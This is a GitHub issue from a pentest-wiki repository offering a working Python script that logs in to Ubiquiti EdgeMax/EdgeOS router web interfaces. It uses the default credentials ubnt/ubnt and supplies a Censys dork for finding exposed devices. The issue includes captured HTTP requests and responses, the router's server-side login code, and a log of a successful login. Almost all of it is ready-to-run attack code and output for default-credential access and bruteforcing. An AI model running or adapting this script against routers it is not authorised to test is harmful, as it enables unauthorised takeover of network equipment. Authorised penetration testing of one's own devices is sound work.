nixawk / pentest-wiki

PENTEST-WIKI is a free online security knowledge library for pentesters / researchers. If you have a good idea, please share it with others.
MIT License
3.37k stars 915 forks source link

[bruteforce] Edge router (EdgeMax / EdgeOS) login #26

Open nixawk opened 6 years ago

nixawk commented 6 years ago
#!/usr/bin/python
# -*- coding: utf-8 -*-

# Keywords    : EdgeMax, EdgeOS
# Censys dork : "CN=UBNT Router UI"

import requests
import logging

requests.packages.urllib3.disable_warnings(
    requests.packages.urllib3.exceptions.InsecureRequestWarning
)

logging.basicConfig(level=logging.DEBUG)
log = logging.getLogger(__file__)

# /var/www/python/edgeos_gui/views.py -- [def login():]

'''
def login():
    """
    Login view - check username and password, require accepting of EULA if it
    has not been accepted yet.
    """
    username = request.POST.get("username")
    password = request.POST.get("password")
    response = auth(username, password)
    success = response.get("success", "0") == "1"

    session = request.environ['beaker.session']
    if success:
        session['error'] = None
        eula_pending = ubnt.is_eula_pending()
        eula_accepted = request.POST.get("accept-eula") == "on"
        if eula_pending and not eula_accepted:
            session['error'] = "Please accept the Terms of Use"
        else:
            if eula_accepted:
                ubnt.accept_eula()
            session.regenerate_id()
            session['authenticated'] = True
            session['ip'] = request.environ.get("REMOTE_ADDR")
            session['username'] = username
            session['level'] = response.get("level")
            session['started'] = response.get("started")
            session['features'] = response.get("platform")
            session['model'] = response.get("platform", {}).get("model")
            # Redirect back to '/' and set session cookie
            res = bottle.response.copy(cls=HTTPResponse)
            res.status = 303
            res.body = ""
            res.set_header("Location", urljoin(request.url, "/"))
            res.set_cookie("X-CSRF-TOKEN", csrf.generate_csrf_token())
            res.set_cookie("PHPSESSID", session.id)  # TODO: PHPSESSID, srsly...
            raise res
    else:
        session['error'] = response.get("error", "Unexpected error during authentication")
    redirect("/")
'''

def edgemax_login(host, port=443, username="ubnt", password="ubnt", timeout=30):
    '''Read more from https://www.ubnt.com/download/edgemax
    '''

    '''
    GET / HTTP/1.1
    Host: 192.168.1.100
    User-Agent: Mozilla/5.0 Gecko/20100101 Firefox/58.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Connection: close
    Upgrade-Insecure-Requests: 1
    Cache-Control: max-age=0

    ----

    HTTP/1.1 200 OK
    X-Frame-Options: SAMEORIGIN
    X-Xss-Protection: 1; mode=block
    Content-Length: 8482
    X-Content-Type-Options: nosniff
    Content-Type: text/html; charset=UTF-8
    Set-cookie: beaker.session.id=0ae1617e024a4beda6ec6f8fe1a2a83c; httponly; Path=/; secure
    Connection: close
    Date: Thu, 15 Mar 2018 08:02:42 GMT
    Server: Server
    '''

    scheme = "https" if (port == 443) else "http"
    url = "{scheme}://{host}:{port}".format(
        scheme=scheme, host=host, port=port
    )

    headers = {"User-Agent": "Mozilla/5.0 Gecko/20100101 Firefox/58.0"}
    # httpcli = requests.Session()

    # 1. request [beaker.session.id] from edge router
    log.debug("send 1st http request for [beaker.session.id]")

    response = requests.get(
        url, verify=False,
        headers=headers,
        allow_redirects=False,
        timeout=timeout
    )

    beaker_session_id = response.cookies.get('beaker.session.id', '')
    if not beaker_session_id:
        return False

    '''
    POST / HTTP/1.1
    Host: 192.168.1.100
    User-Agent: Mozilla/5.0 Gecko/20100101 Firefox/58.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Referer: https://192.168.1.100/
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 27
    Cookie: beaker.session.id=0ae1617e024a4beda6ec6f8fe1a2a83c
    Connection: close
    Upgrade-Insecure-Requests: 1

    username=ubnt&password=ubnt

    ----

    HTTP/1.1 303 See Other
    Content-Length: 0
    Location: https://192.168.1.100/
    Content-Type: text/html; charset=UTF-8
    Set-Cookie: PHPSESSID=409ada3f2434439a9a852678efbd728e
    Set-Cookie: X-CSRF-TOKEN=c9ff9d757c989b97ffb223fbe2194ea994f247150acd8134aaeabbebf80228dc
    Set-Cookie: beaker.session.id=409ada3f2434439a9a852678efbd728e; httponly; Path=/; secure
    Connection: close
    Date: Thu, 15 Mar 2018 08:04:11 GMT
    Server: Server
    '''

    # 2. login with username/password and [beaker.session.id]
    headers = {
        "User-Agent": "Mozilla/5.0 Gecko/20100101 Firefox/58.0",
        "Cookie": "beaker.session.id=%s" % beaker_session_id
    }

    log.debug("send 2nd http request to login EdgeMax with creds")

    response = requests.post(
        url,
        verify=False,
        headers=headers,
        timeout=timeout,
        allow_redirects=False,
        data={"username": username, "password": password},
    )

    cookie_authenticated_flag = all(
        [
            _ in response.cookies
            for _ in ['PHPSESSID', 'X-CSRF-TOKEN', 'beaker.session.id']
        ]
    )

    status = (response.status_code == 303) and cookie_authenticated_flag

    if status:
        log.info("Login %s:%s (%s/%s) successfully" % (
            host, port, username, password
        ))
    else:
        log.info("Login %s:%s (%s/%s) failed" % (
            host, port, username, password
        ))

    return status

if __name__ == "__main__":
    import sys

    if len(sys.argv) != 3:
        print("python %s <host> <port>" % sys.argv[0])
        sys.exit(0)

    host = sys.argv[1]      # "192.168.1.100"
    port = int(sys.argv[2]) # 443

    edgemax_login(host, port)

## References

# https://www.ubnt.com/download/edgemax

$ python2.7 edgemax_login.py
DEBUG:edgemax_login.py:send 1st http request for [beaker.session.id]
DEBUG:urllib3.connectionpool:Starting new HTTPS connection (1): 192.168.1.100
DEBUG:urllib3.connectionpool:https://192.168.1.100:443 "GET / HTTP/1.1" 200 8482
DEBUG:edgemax_login.py:send 2nd http request to login EdgeMax with creds
DEBUG:urllib3.connectionpool:Starting new HTTPS connection (1): 192.168.1.100
DEBUG:urllib3.connectionpool:https://192.168.1.100:443 "POST / HTTP/1.1" 303 0
INFO:edgemax_login.py:Login 192.168.1.100:443 (ubnt/ubnt) successfully